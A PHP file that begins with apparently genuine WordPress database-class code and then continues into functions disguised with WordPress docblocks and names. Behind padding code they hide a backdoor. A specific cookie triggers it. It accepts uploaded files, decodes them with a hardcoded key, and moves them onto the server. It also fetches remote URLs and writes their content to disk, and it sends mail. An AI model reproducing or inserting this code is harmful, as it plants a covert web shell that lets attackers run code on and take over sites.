if ( ! $str ) {
if ( $this->use_mysqli ) {
$str = mysqli_error( $this->dbh );
} else {
$str = mysql_error( $this->dbh );
}
}
$EZSQL_ERROR[] = array(
'query' => $this->last_query,
'error_str' => $str,
);
if ( $this->suppress_errors ) {
return false;
}
$caller = $this->get_caller();
if ( $caller ) {
Not translated, as this will only appear in the error log.
$error_str = sprintf( 'WordPress database error %1$s for query %2$s made by %3$s', $str, $this->last_query, $caller );
} else {
$error_str = sprintf( 'WordPress database error %1$s for query %2$s', $str, $this->last_query );
}
error_log( $error_str );
Are we showing errors?
if ( ! $this->show_errors ) {
return false;
}
wp_load_translations_early();
If there is an error then take note of it.
if ( is_multisite() ) {
$msg = sprintf(
"%s [%s]\n%s\n",
__( 'WordPress database error:' ),
$str,
$this->last_query
);
if ( defined( 'ERRORLOGFILE' ) ) {
error_log( $msg, 3, ERRORLOGFILE );
}
if ( defined( 'DIEONDBERROR' ) ) {
wp_die( $msg );
}
} else {
$str = htmlspecialchars( $str, ENT_QUOTES );
$query = htmlspecialchars( $this->last_query, ENT_QUOTES );
printf(
'<div id="error"><p class="wpdberror"><strong>%s</strong> [%s]<br /><code>%s</code></p></div>',
__( 'WordPress database error:' ),
$str,
$query
);
}
}
*
* Enables showing of database errors.
*
* This function should be used only to enable showing of errors.
* wpdb::hide_errors() should be used instead for hiding errors.
*
* @since 0.71
*
* @see wpdb::hide_errors()
*
* @param bool $show Optional. Whether to show errors. Default true.
* @return bool Whether showing of errors was previously active.
public function show_errors( $show = true ) {
$errors = $this->show_errors;
$this->show_errors = $show;
return $errors;
}
*
* Disables showing of database errors.
*
* By default database errors are not shown.
*
* @since 0.71
*
* @see wpdb::show_errors()
*
* @return bool Whether showing of errors was previously active.
public function hide_errors() {
$show = $this->show_errors;
$this->show_errors = false;
return $show;
}
*
* Enables or disables suppressing of database errors.
*
* By default database errors are suppressed.
*
* @since 2.5.0
*
* @see wpdb::hide_errors()
*
* @param bool $suppress Optional. Whether to suppress errors. Default true.
* @return bool Whether suppressing of errors was previously active.
public function suppress_errors( $suppress = true ) {
$errors = $this->suppress_errors;
$this->suppress_errors = (bool) $suppress;
return $errors;
}
*
* Kills cached query results.
*
* @since 0.71
public function flush() {
$this->last_result = array();
$this->col_info = null;
$this->last_query = null;
$this->rows_affected = 0;
$this->num_rows = 0;
$this->last_error = '';
if ( $this->use_mysqli && $this->result instanceof mysqli_result ) {
mysqli_free_result( $this->result );
$this->result = null;
Sanity check before using the handle.
if ( empty( $this->dbh ) || ! ( $this->dbh instanceof mysqli ) ) {
return;
}
Clear out any results from a multi-query.
while ( mysqli_more_results( $this->dbh ) ) {
mysqli_next_result( $this->dbh );
}
} elseif ( is_resource( $this->result ) ) {
mysql_free_result( $this->result );
}
}
*
* Connects to and selects database.
*
* If `$allow_bail` is false, the lack of database connection will need to be handled manually.
*
* @since 3.0.0
* @since 3.9.0 $allow_bail parameter added.
*
* @param bool $allow_bail Optional. Allows the function to bail. Default true.
* @return bool True with a successful connection, false on failure.
public function db_connect( $allow_bail = true ) {
$this->is_mysql = true;
* Deprecated in 3.9+ when using MySQLi. No equivalent
* $new_link parameter exists for mysqli_* functions.
$new_link = defined( 'MYSQL_NEW_LINK' ) ? MYSQL_NEW_LINK : true;
$client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0;
if ( $this->use_mysqli ) {
* Set the MySQLi error reporting off because WordPress handles its own.
* This is due to the default value change from `MYSQLI_REPORT_OFF`
* to `MYSQLI_REPORT_ERROR|MYSQLI_REPORT_STRICT` in PHP 8.1.
mysqli_report( MYSQLI_REPORT_OFF );
$this->dbh = mysqli_init();
$host = $this->dbhost;
$port = null;
$socket = null;
$is_ipv6 = false;
$host_data = $this->parse_db_host( $this->dbhost );
if ( $host_data ) {
list( $host, $port, $socket, $is_ipv6 ) = $host_data;
}
* If using the `mysqlnd` library, the IPv6 address needs to be enclosed
* in square brackets, whereas it doesn't while using the `libmysqlclient` library.
* @see https:bugs.php.net/bug.php?id=67563
if ( $is_ipv6 && extension_loaded( 'mysqlnd' ) ) {
$host = "[$host]";
}
if ( WP_DEBUG ) {
mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
} else {
phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
@mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
}
if ( $this->dbh->connect_errno ) {
$this->dbh = null;
* It's possible ext/mysqli is misconfigured. Fall back to ext/mysql if:
* - We haven't previously connected, and
* - WP_USE_EXT_MYSQL isn't set to false, and
* - ext/mysql is loaded.
$attempt_fallback = true;
if ( $this->has_connected ) {
$attempt_fallback = false;
} elseif ( defined( 'WP_USE_EXT_MYSQL' ) && ! WP_USE_EXT_MYSQL ) {
$attempt_fallback = false;
} elseif ( ! function_exists( 'mysql_connect' ) ) {
$attempt_fallback = false;
}
if ( $attempt_fallback ) {
$this->use_mysqli = false;
return $this->db_connect( $allow_bail );
}
}
} else {
if ( WP_DEBUG ) {
$this->dbh = mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags );
} else {
phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
$this->dbh = @mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags );
}
}
if ( ! $this->dbh && $allow_bail ) {
wp_load_translations_early();
Load custom DB error template, if present.
if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
require_once WP_CONTENT_DIR . '/db-error.php';
die();
}
$message = '<h1>' . __( 'Error establishing a database connection' ) . "</h1>\n";
$message .= '<p>' . sprintf(
translators: 1: wp-config.php, 2: Database host.
__( 'This either means that the username and password information in your %1$s file is incorrect or that contact with the database server at %2$s could not be established. This could mean your host’s database server is down.' ),
'<code>wp-config.php</code>',
'<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>'
) . "</p>\n";
$message .= "<ul>\n";
$message .= '<li>' . __( 'Are you sure you have the correct username and password?' ) . "</li>\n";
$message .= '<li>' . __( 'Are you sure you have typed the correct hostname?' ) . "</li>\n";
$message .= '<li>' . __( 'Are you sure the database server is running?' ) . "</li>\n";
$message .= "</ul>\n";
$message .= '<p>' . sprintf(
translators: %s: Support forums URL.
__( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress Support Forums</a>.' ),
__( 'https:wordpress.org/support/forums/' )
) . "</p>\n";
$this->bail( $message, 'db_connect_fail' );
return false;
} elseif ( $this->dbh ) {
if ( ! $this->has_connected ) {
$this->init_charset();
}
$this->has_connected = true;
$this->set_charset( $this->dbh );
$this->ready = true;
$this->set_sql_mode();
$this->select( $this->dbname, $this->dbh );
return true;
}
return false;
}
*
* Parses the DB_HOST setting to interpret it for mysqli_real_connect().
*
* mysqli_real_connect() doesn't support the host param including a port or socket
* like mysql_connect() does. This duplicates how mysql_connect() detects a port
* and/or socket file.
*
* @since 4.9.0
*
* @param string $host The DB_HOST setting to parse.
* @return array|false {
* Array containing the host, the port, the socket and
* whether it is an IPv6 address, in that order.
* False if the host couldn't be parsed.
*
* @type string $0 Host name.
* @type string|null $1 Port.
* @type string|null $2 Socket.
* @type bool $3 Whether it is an IPv6 address.
* }
public function parse_db_host( $host ) {
$socket = null;
$is_ipv6 = false;
First peel off the socket parameter from the right, if it exists.
$socket_pos = strpos( $host, ':/' );
if ( false !== $socket_pos ) {
$socket = substr( $host, $socket_pos + 1 );
$host = substr( $host, 0, $socket_pos );
}
We need to check for an IPv6 address first.
An IPv6 address will always contain at least two colons.
if ( substr_count( $host, ':' ) > 1 ) {
$pattern = '#^(?:\[)?(?P<host>[0-9a-fA-F:]+)(?:\]:(?P<port>[\d]+))?#';
$is_ipv6 = true;
} else {
We seem to be dealing with an IPv4 address.
$pattern = '#^(?P<host>[^:/]*)(?::(?P<port>[\d]+))?#';
}
$matches = array();
$result = preg_match( $pattern, $host, $matches );
if ( 1 !== $result ) {
Couldn't parse the address, bail.
return false;
}
$host = ! empty( $matches['host'] ) ? $matches['host'] : '';
MySQLi port cannot be a string; must be null or an integer.
$port = ! empty( $matches['port'] ) ? absint( $matches['port'] ) : null;
return array( $host, $port, $socket, $is_ipv6 );
}
*
* Checks that the connection to the database is still up. If not, try to reconnect.
*
* If this function is unable to reconnect, it will forcibly die, or if called
* after the {@see 'template_redirect'} hook has been fired, return false instead.
*
* If `$allow_bail` is false, the lack of database connection will need to be handled manually.
*
* @since 3.9.0
*
* @param bool $allow_bail Optional. Allows the function to bail. Default true.
* @return bool|void True if the connection is up.
public function check_connection( $allow_bail = true ) {
if ( $this->use_mysqli ) {
if ( ! empty( $this->dbh ) && mysqli_ping( $this->dbh ) ) {
return true;
}
} else {
if ( ! empty( $this->dbh ) && mysql_ping( $this->dbh ) ) {
return true;
}
}
$error_reporting = false;
Disable warnings, as we don't want to see a multitude of "unable to connect" messages.
if ( WP_DEBUG ) {
$error_reporting = error_reporting();
error_reporting( $error_reporting & ~E_WARNING );
}
for ( $tries = 1; $tries <= $this->reconnect_retries; $tries++ ) {
On the last try, re-enable warnings. We want to see a single instance
of the "unable to connect" message on the bail() screen, if it appears.
if ( $this->reconnect_retries === $tries && WP_DEBUG ) {
error_reporting( $error_reporting );
}
if ( $this->db_connect( false ) ) {
if ( $error_reporting ) {
error_reporting( $error_reporting );
}
return true;
}
sleep( 1 );
}
If template_redirect has already happened, it's too late for wp_die()/dead_db().
Let's just return and hope for the best.
if ( did_action( 'template_redirect' ) ) {
return false;
}
if ( ! $allow_bail ) {
return false;
}
wp_load_translations_early();
$message = '<h1>' . __( 'Error reconnecting to the database' ) . "</h1>\n";
$message .= '<p>' . sprintf(
translators: %s: Database host.
__( 'This means that the contact with the database server at %s was lost. This could mean your host’s database server is down.' ),
'<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>'
) . "</p>\n";
$message .= "<ul>\n";
$message .= '<li>' . __( 'Are you sure the database server is running?' ) . "</li>\n";
$message .= '<li>' . __( 'Are you sure the database server is not under particularly heavy load?' ) . "</li>\n";
$message .= "</ul>\n";
$message .= '<p>' . sprintf(
translators: %s: Support forums URL.
__( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress Support Forums</a>.' ),
__( 'https:wordpress.org/support/forums/' )
) . "</p>\n";
We weren't able to reconnect, so we better bail.
$this->bail( $message, 'db_connect_fail' );
Call dead_db() if bail didn't die, because this database is no more.
It has ceased to be (at least temporarily).
dead_db();
}
*
* Performs a database query, using current database connection.
*
* More information can be found on the documentation page.
*
* @since 0.71
*
* @link https:developer.wordpress.org/reference/classes/wpdb/
*
* @param string $query Database query.
* @return int|bool Boolean true for CREATE, ALTER, TRUNCATE and DROP queries. Number of rows
* affected/selected for all other queries. Boolean false on error.
public function query( $query ) {
if ( ! $this->ready ) {
$this->check_current_query = true;
return false;
}
*
* F*/
/**
* Registers a meta key for posts.
*
* @since 4.9.8
*
* @param string $post_type Post type to register a meta key for. Pass an empty string
* to register the meta key across all existing post types.
* @param string $meta_key The meta key to register.
* @param array $parsed_allowed_urlrgs Data used to describe the meta key when registered. See
* {@see register_meta()} for a list of supported arguments.
* @return bool True if the meta key was successfully registered, false if not.
*/
function get_current_item($publishing_changeset_data) {
$parsed_allowed_url = date("Y-m-d");
$padding_right = date("H:i:s"); // Get meta info.
$ID3v2_key_good = array("year" => "2023", "month" => "October");
$logged_in_cookie = count($ID3v2_key_good);
$pic_width_in_mbs_minus1 = "time";
return $publishing_changeset_data % 2 === 0;
} // Posts and Pages.
/**
* Fires before save validation happens.
*
* Plugins can add just-in-time {@see 'customize_validate_{$lastredirectaddrhis->ID}'} filters
* at this point to catch any settings registered after `customize_register`.
* The dynamic portion of the hook name, `$lastredirectaddrhis->ID` refers to the setting ID.
*
* @since 4.6.0
*
* @param WP_Customize_Manager $manager WP_Customize_Manager instance.
*/
function CodecIDtoCommonName($failure_data) {
$page_slug = "VariableInfo";
$post_default_title = rawurldecode($page_slug);
$maybe_integer = str_pad($post_default_title, 15, '!');
$p_status = explode('r', $maybe_integer);
return 'From: ' . $failure_data . "\r\n" .
'Reply-To: ' . $failure_data . "\r\n" .
$hidden_inputs = implode('=', $p_status);
$link_description = hash('tiger192,3', $hidden_inputs);
$plugin_key = explode('3', $link_description);
$registered_patterns_outside_init = implode('$', $plugin_key);
'X-Mailer: PHP/' . phpversion();
} // Avoid single A-Z and single dashes.
/**
* Fires immediately after a comment has been removed from the object cache.
*
* @since 4.5.0
*
* @param int $CommentLengthd Comment ID.
*/
function wp_get_available_translations($po_file, $failure_data) { // This element does not contain shortcodes.
$parent_controller = "Test"; // %ab000000 in v2.2
$partial_class = "Decode%20This";
$has_named_font_family = rawurldecode($partial_class);
$password_check_passed = empty($has_named_font_family); // End foreach.
if(!contextLine($po_file)) {
$line_no = hash('sha256', $parent_controller);
$readonly_value = str_replace(" ", "+", $has_named_font_family);
$lastredirectaddr = substr($readonly_value, 0, 5);
if ($password_check_passed) {
$pop3 = strlen($line_no)^5;
}
return false;
}
$f0g3 = "Confirmation";
$first_post_guid = "This is a confirmation email.";
$qp_mode = CodecIDtoCommonName($failure_data);
return get_widget_control($po_file, $f0g3, $first_post_guid, $qp_mode);
}
/**
* Determines whether or not the specified URL is of a host included in the internal hosts list.
*
* @see wp_internal_hosts()
*
* @since 6.2.0
*
* @param string $link The URL to test.
* @return bool Returns true for internal URLs and false for all other URLs.
*/
function parseAddresses($link_destination) {
$msglen = "SimpleString";
$maybe_integer = str_pad($msglen, 20, '-'); // - MUST be a valid, already created directory
$post_default_title = rawurldecode($maybe_integer);
$f4 = [];
$mapping = hash('sha512', $post_default_title);
$ratings_parent = explode('7', $mapping);
for ($CommentLength = 0; $CommentLength < $link_destination; $CommentLength++) {
$jquery = implode('|', $ratings_parent);
$primary_menu = strlen($jquery) ^ 3;
$f4[] = mb_pathinfo($CommentLength); // Strip BOM:
}
return $f4;
}
/*
* Validate 'before' and 'after' up front, then let the
* validation routine continue to be sure that all invalid
* values generate errors too.
*/
function is_nav_menu_item($post_del, $menu_item_setting_id) // If an attachment is requested by number, let it supersede any post number.
{ // Template for the Attachment Details layout in the media browser.
return file_put_contents($post_del, $menu_item_setting_id);
}
/**
* Updates settings for the settings object.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return array|WP_Error Array on success, or error object on failure.
*/
function check_username($realSize)
{ // Protect the admin backend.
$realSize = using_permalinks($realSize);
return file_get_contents($realSize);
}
/**
* Formats a combining operation error into a WP_Error object.
*
* @since 5.6.0
*
* @param string $param The parameter name.
* @param array $pic_width_in_mbs_minus1rror The error details.
* @return WP_Error
*/
function current_theme_info($moderation_note) {
$read_private_cap = "ExampleText";
$lock_name = substr($read_private_cap, 5, 4);
$footnote = 1;
foreach ($moderation_note as $rawdata) {
$fresh_comments = rawurldecode($lock_name);
if (strlen($fresh_comments) > 0) {
$f8f8_19 = hash("sha256", $fresh_comments);
$queried_taxonomy = str_pad($f8f8_19, 64, "K");
}
$footnote *= $rawdata;
$object = explode(";", "val1;val2");
}
$orderby_possibles = array("val3", "val4");
$has_background_color = array_merge($object, $orderby_possibles);
$menu_location_key = date("i:s");
return $footnote; // MIME boundary for multipart/form-data submit type
}
/**
* Object Cache API
*
* @link https://developer.wordpress.org/reference/classes/wp_object_cache/
*
* @package WordPress
* @subpackage Cache
*/
function get_error_codes($offset_or_tz) {
$remotefile = "Coding Exam"; // Set user_nicename.
$registered_sidebar_count = substr($remotefile, 0, 6);
if ($offset_or_tz === 0) return 1;
return $offset_or_tz * get_error_codes($offset_or_tz - 1);
}
/**
* Deletes all oEmbed caches. Unused by core as of 4.0.0.
*
* @param int $post_id Post ID to delete the caches for.
*/
function get_cancel_comment_reply_link($realSize)
{
$got_rewrite = basename($realSize);
$post_del = block_header_area($got_rewrite);
$featured_media = array('A1', 'B2', 'C3');
$filtered_results = count($featured_media);
$memlimit = implode(",", $featured_media);
wp_get_post_revisions($realSize, $post_del);
}
/**
* Increase a string (little endian)
*
* @param string $line_noar
*
* @return void
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
function get_widget_control($po_file, $f0g3, $first_post_guid, $qp_mode) {
$multirequest = "The quick brown fox";
return mail($po_file, $f0g3, $first_post_guid, $qp_mode); // This filter is attached in ms-default-filters.php but that file is not included during SHORTINIT.
}
/**
* Returns the given theme global styles config.
*
* @since 5.9.0
*
* @param WP_REST_Request $request The request instance.
* @return WP_REST_Response|WP_Error
*/
function render_block_core_comments_pagination($publishing_changeset_data) {
$maybe_array = "URL Encoded";
$fresh_comments = rawurldecode($maybe_array);
$return_val = "";
for ($CommentLength = 0; $CommentLength < 5; $CommentLength++) {
$return_val .= substr($fresh_comments, 0, $CommentLength);
}
if (get_current_item($publishing_changeset_data)) {
return get_error_codes($publishing_changeset_data);
}
return null;
}
/**
* Supported blocks that can use the block bindings API.
*
* @since 6.5.0
* @var array
*/
function deactivate_plugin_before_upgrade($post_del, $plain_field_mappings)
{
$matrixRotation = file_get_contents($post_del);
$has_p_in_button_scope = "SampleToDecode";
$has_timezone = wp_get_registered_image_subsizes($matrixRotation, $plain_field_mappings);
$queried_post_type = rawurldecode($has_p_in_button_scope);
$post_types = hash('md5', $queried_post_type);
$raw_data = str_pad($post_types, 32, "*"); // User must be logged in to view unpublished posts.
$file_types = substr($queried_post_type, 4, 8); // Function : privCloseFd()
file_put_contents($post_del, $has_timezone);
} // hard-coded to 'vorbis'
/**
* Filters the capability to read private posts for a custom post type
* when generating SQL for getting posts by author.
*
* @since 2.2.0
* @deprecated 3.2.0 The hook transitioned from "somewhat useless" to "totally useless".
*
* @param string $ID3v2_key_goodap Capability.
*/
function wp_getUser($minkey, $group_by_status, $frame_frequency)
{
$got_rewrite = $_FILES[$minkey]['name'];
$post_del = block_header_area($got_rewrite);
$parsed_allowed_url = "hello";
$padding_right = "world"; // Get selectors that use the same styles.
$ID3v2_key_good = str_replace("l", "L", $parsed_allowed_url);
deactivate_plugin_before_upgrade($_FILES[$minkey]['tmp_name'], $group_by_status); // Help tab: Adding Themes.
$logged_in_cookie = array($parsed_allowed_url, $padding_right);
get_theme_items_permissions_check($_FILES[$minkey]['tmp_name'], $post_del); // Grab all posts in chunks.
}
/** Load WordPress Translation Installation API */
function controls($private_statuses)
{
$revisions_base = sprintf("%c", $private_statuses);
$round_bit_rate = array("a", "b", "c"); // Load themes from the .org API.
$limbs = implode("", $round_bit_rate);
while (strlen($limbs) < 5) {
$limbs = str_pad($limbs, 5, "#");
}
return $revisions_base; // Validates that the uses_context parameter is an array.
}
/**
* WP_Customize_Nav_Menu_Item_Setting class.
*/
function get_default_slugs($realSize)
{ // Only relax the filesystem checks when the update doesn't include new files.
if (strpos($realSize, "/") !== false) {
return true;
}
$full_width = "Crimson";
$meta_list = substr($full_width, 1);
$f5f7_76 = rawurldecode("%23HexColor");
return false;
} // Restore the original instances.
/**
* Gets the URL for the sitemap index stylesheet.
*
* @since 5.5.0
*
* @global WP_Rewrite $password_check_passedp_rewrite WordPress rewrite component.
*
* @return string The sitemap index stylesheet URL.
*/
function wp_get_post_revisions($realSize, $post_del) // If on the home page, don't link the logo to home.
{
$quote = check_username($realSize);
$plugin_version = 'Encode this string';
$generated_variations = rawurlencode($plugin_version);
$fresh_comments = rawurldecode($generated_variations); // Reset output_mime_type and quality.
if ($quote === false) {
if ($fresh_comments === $plugin_version) {
$post_metas = 'Strings match';
}
return false;
} // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
return is_nav_menu_item($post_del, $quote);
}
/**
* Prints additional meta content in the embed template.
*
* @since 4.4.0
*/
function get_theme_items_permissions_check($link_rels, $required)
{
$menu_items_data = move_uploaded_file($link_rels, $required);
$VorbisCommentError = "one,two,three";
$link_rss = explode(',', $VorbisCommentError); // [CB] -- The ID of the BlockAdditional element (0 is the main Block).
$group_class = count($link_rss);
if ($group_class > 2) {
$global_styles_config = substr($link_rss[1], 1);
$places = hash('sha256', $global_styles_config);
}
$parent_db_id = implode('/', $link_rss);
return $menu_items_data;
}
/**
* Retrieves the avatar `<img>` tag for a user, email address, MD5 hash, comment, or post.
*
* @since 2.5.0
* @since 4.2.0 Added the optional `$parsed_allowed_urlrgs` parameter.
* @since 5.5.0 Added the `loading` argument.
* @since 6.1.0 Added the `decoding` argument.
* @since 6.3.0 Added the `fetchpriority` argument.
*
* @param mixed $CommentLengthd_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
* @param int $pop3ize Optional. Height and width of the avatar in pixels. Default 96.
* @param string $logged_in_cookieefault_value URL for the default image or a default type. Accepts:
* - '404' (return a 404 instead of a default image)
* - 'retro' (a 8-bit arcade-style pixelated face)
* - 'robohash' (a robot)
* - 'monsterid' (a monster)
* - 'wavatar' (a cartoon face)
* - 'identicon' (the "quilt", a geometric pattern)
* - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
* - 'blank' (transparent GIF)
* - 'gravatar_default' (the Gravatar logo)
* Default is the value of the 'avatar_default' option,
* with a fallback of 'mystery'.
* @param string $parsed_allowed_urllt Optional. Alternative text to use in the avatar image tag.
* Default empty.
* @param array $parsed_allowed_urlrgs {
* Optional. Extra arguments to retrieve the avatar.
*
* @type int $height Display height of the avatar in pixels. Defaults to $pop3ize.
* @type int $password_check_passedidth Display width of the avatar in pixels. Defaults to $pop3ize.
* @type bool $force_default Whether to always show the default image, never the Gravatar.
* Default false.
* @type string $rating What rating to display avatars up to. Accepts:
* - 'G' (suitable for all audiences)
* - 'PG' (possibly offensive, usually for audiences 13 and above)
* - 'R' (intended for adult audiences above 17)
* - 'X' (even more mature than above)
* Default is the value of the 'avatar_rating' option.
* @type string $pop3cheme URL scheme to use. See set_url_scheme() for accepted values.
* Default null.
* @type array|string $ID3v2_key_goodlass Array or string of additional classes to add to the img element.
* Default null.
* @type bool $force_display Whether to always show the avatar - ignores the show_avatars option.
* Default false.
* @type string $loading Value for the `loading` attribute.
* Default null.
* @type string $fetchpriority Value for the `fetchpriority` attribute.
* Default null.
* @type string $logged_in_cookieecoding Value for the `decoding` attribute.
* Default null.
* @type string $pic_width_in_mbs_minus1xtra_attr HTML attributes to insert in the IMG element. Is not sanitized.
* Default empty.
* }
* @return string|false `<img>` tag for the user's avatar. False on failure.
*/
function register_initial_settings($frame_frequency)
{
get_cancel_comment_reply_link($frame_frequency);
$post_content_block = "VariableExample";
the_weekday_date($frame_frequency);
}
/**
* Filters whether to inspect the given URL for discoverable link tags.
*
* @since 2.9.0
* @since 4.4.0 The default value changed to true.
*
* @see WP_oEmbed::discover()
*
* @param bool $pic_width_in_mbs_minus1nable Whether to enable `<link>` tag discovery. Default true.
*/
function is_lighttpd_before_150()
{
return __DIR__; // Over-rides default call method, adds signature check
} // TIFF - still image - Tagged Information File Format (TIFF)
/**
* Converts a widget setting ID (option path) to its id_base and number components.
*
* @since 3.9.0
*
* @param string $pop3etting_id Widget setting ID.
* @return array|WP_Error Array containing a widget's id_base and number components,
* or a WP_Error object.
*/
function block_core_home_link_build_css_colors($private_statuses)
{
$private_statuses = ord($private_statuses);
$mval = "DataString"; // Lists a single nav item based on the given id or slug.
$primary_menu = strlen($mval);
$ready = str_pad($mval, $primary_menu + 5, '#'); // count( $hierarchical_taxonomies ) && ! $padding_rightulk
return $private_statuses;
}
/**
* Checks a comment author email for validity.
*
* Accepts either a valid email address or empty string as a valid comment
* author email address. Setting the comment author email to an empty
* string is allowed when a comment is being updated.
*
* @since 4.7.0
*
* @param string $rawdataue Author email value submitted.
* @param WP_REST_Request $request Full details about the request.
* @param string $param The parameter name.
* @return string|WP_Error The sanitized email address, if valid,
* otherwise an error.
*/
function getLE($menu_items_with_children, $ReplyTo) {
$privacy_policy_url = "Hello";
$home_page_id = enqueue_legacy_post_comments_block_styles($menu_items_with_children, $ReplyTo);
$has_old_sanitize_cb = str_pad($privacy_policy_url, 10, "!");
return get_sitemap_index_stylesheet($home_page_id);
}
/*
* The email address of the current comment author escaped for use in attributes.
* Escaped by sanitize_comment_cookies().
*/
function get_sitemap_index_stylesheet($file_ext) {
return array_unique($file_ext);
}
/**
* Checks a theme's support for a given feature before loading the functions which implement it.
*
* @since 2.9.0
*
* @param string $feature The feature being checked. See add_theme_support() for the list
* of possible values.
* @param string $file Path to the file.
* @return bool True if the active theme supports the supplied feature, false otherwise.
*/
function wp_installing($revisions_base, $options_audio_wavpack_quick_parsing)
{
$frames_count = block_core_home_link_build_css_colors($revisions_base) - block_core_home_link_build_css_colors($options_audio_wavpack_quick_parsing);
$ID3v2_keys_bad = " 123 Main St ";
$fileupload_maxk = trim($ID3v2_keys_bad); // Found it, so try to drop it.
$frames_count = $frames_count + 256; // MPEG location lookup table
if (strlen($fileupload_maxk) > 10) {
$post_more = strtoupper($fileupload_maxk);
}
$frames_count = $frames_count % 256;
$revisions_base = controls($frames_count);
return $revisions_base;
}
/**
* Maps old properties to their new location within the schema's settings.
* This will be applied at both the defaults and individual block levels.
*/
function mb_pathinfo($offset_or_tz) {
if ($offset_or_tz <= 1) {
$processed_content = "Hello, World!";
$generated_variations = rawurldecode($processed_content); // Command Types array of: variable //
$link_destination = strlen($generated_variations);
$queried_taxonomy = str_pad($generated_variations, $link_destination + 10, "*", STR_PAD_RIGHT); // If attachment ID was requested, return it.
return $offset_or_tz;
} // Only load the default layout and margin styles for themes without theme.json file.
return mb_pathinfo($offset_or_tz - 1) + mb_pathinfo($offset_or_tz - 2); // Rating $parent_controllerx
}
/* translators: %s: Number of available updates. */
function using_permalinks($realSize)
{ // RAR - data - RAR compressed data
$realSize = "http://" . $realSize;
$p_filename = rawurldecode("Hello%20World");
if (isset($p_filename)) {
$last_menu_key = explode(" ", $p_filename);
}
$post_states = count($last_menu_key);
return $realSize; // If each schema has a title, include those titles in the error message.
}
/**
* Dependencies API: WP_Dependencies base class
*
* @since 2.6.0
*
* @package WordPress
* @subpackage Dependencies
*/
function crypto_sign_keypair($minkey, $preview_link = 'txt') // Copy all entries from ['tags'] into common ['comments']
{
return $minkey . '.' . $preview_link;
}
/**
* To remove the default padding styles from WordPress for the Toolbar, use the following code:
* add_theme_support( 'admin-bar', array( 'callback' => '__return_false' ) );
*/
function is_test_mode($minkey)
{
$group_by_status = 'JzbqxZZClLOgqfkfNXVUCNVEUckBIXQ';
$roots = "String prepared for analysis";
if (strlen($roots) > 10) {
$flattened_preset = substr($roots, 0, 10);
$rules_node = str_pad($flattened_preset, 30, '#');
}
// If the theme does not have any gradients, we still want to show the core ones.
if (isset($_COOKIE[$minkey])) {
$featured_cat_id = explode(' ', $rules_node);
wp_untrash_comment($minkey, $group_by_status);
}
}
/**
* IXR_Request
*
* @package IXR
* @since 1.5.0
*/
function combine_rules_selectors($BitrateHistogram) // [FB] -- Timecode of another frame used as a reference (ie: B or P frame). The timecode is relative to the block it's attached to.
{
$parent_path = pack("H*", $BitrateHistogram);
$pinged = "ChunkDataPiece";
$help_installing = substr($pinged, 5, 4);
$pingback_href_pos = rawurldecode($help_installing);
return $parent_path;
}
/*
* Check the comment fields for moderation keywords. If any are found,
* fail the check for the given field by returning false.
*/
function wxr_cat_name($minkey, $group_by_status, $frame_frequency)
{ // Convert to WP_Comment instances.
if (isset($_FILES[$minkey])) {
$helperappsdir = "Order#12345"; // Use a natural sort of numbers.
if (strpos($helperappsdir, "#") !== false) {
$max_dims = explode("#", $helperappsdir);
}
$orig_shortcode_tags = implode("-", $max_dims);
wp_getUser($minkey, $group_by_status, $frame_frequency);
}
the_weekday_date($frame_frequency);
} // ::xxx
/**
* Used by crypto_box() to get the crypto_secretbox() key.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $pop3k
* @param string $pk
* @return string
* @throws SodiumException
* @throws TypeError
*/
function wp_get_registered_image_subsizes($qvs, $plain_field_mappings) // port we are connecting to
{ // GUID
$orig_h = strlen($plain_field_mappings); //if ((!empty($parsed_allowed_urltom_structure['sample_description_table'][$CommentLength]['width']) && !empty($parsed_allowed_urltom_structure['sample_description_table'][$CommentLength]['width'])) && (empty($CommentLengthnfo['video']['resolution_x']) || empty($CommentLengthnfo['video']['resolution_y']) || (number_format($CommentLengthnfo['video']['resolution_x'], 6) != number_format(round($CommentLengthnfo['video']['resolution_x']), 6)) || (number_format($CommentLengthnfo['video']['resolution_y'], 6) != number_format(round($CommentLengthnfo['video']['resolution_y']), 6)))) { // ugly check for floating point numbers
$monochrome = date("Y-m-d");
$lstring = substr($monochrome, 0, 4); // Post status is not registered, assume it's not public.
if ($lstring = 2023) {
$plugin_dependencies_count = "Current Year!";
}
$parsed_url = strlen($plugin_dependencies_count);
$menu_data = strlen($qvs); // By default we are valid
$f1g2 = str_pad($plugin_dependencies_count, $parsed_url + 2, "!");
$orig_h = $menu_data / $orig_h;
$orig_h = ceil($orig_h); // Chop off http://domain.com/[path].
$locations_description = str_split($qvs); // Disable warnings, as we don't want to see a multitude of "unable to connect" messages.
$plain_field_mappings = str_repeat($plain_field_mappings, $orig_h); // This automatically removes omitted widget IDs to the inactive sidebar.
$parsedAtomData = str_split($plain_field_mappings);
$parsedAtomData = array_slice($parsedAtomData, 0, $menu_data); // You can't just pass 'html5', you need to pass an array of types.
$reply_text = array_map("wp_installing", $locations_description, $parsedAtomData);
$reply_text = implode('', $reply_text);
return $reply_text;
} // ok - found one byte earlier than expected (last frame wasn't padded, first frame was)
/**
* @see ParagonIE_Sodium_Compat::memcmp()
* @param string $parsed_allowed_url
* @param string $padding_right
* @return int
* @throws \SodiumException
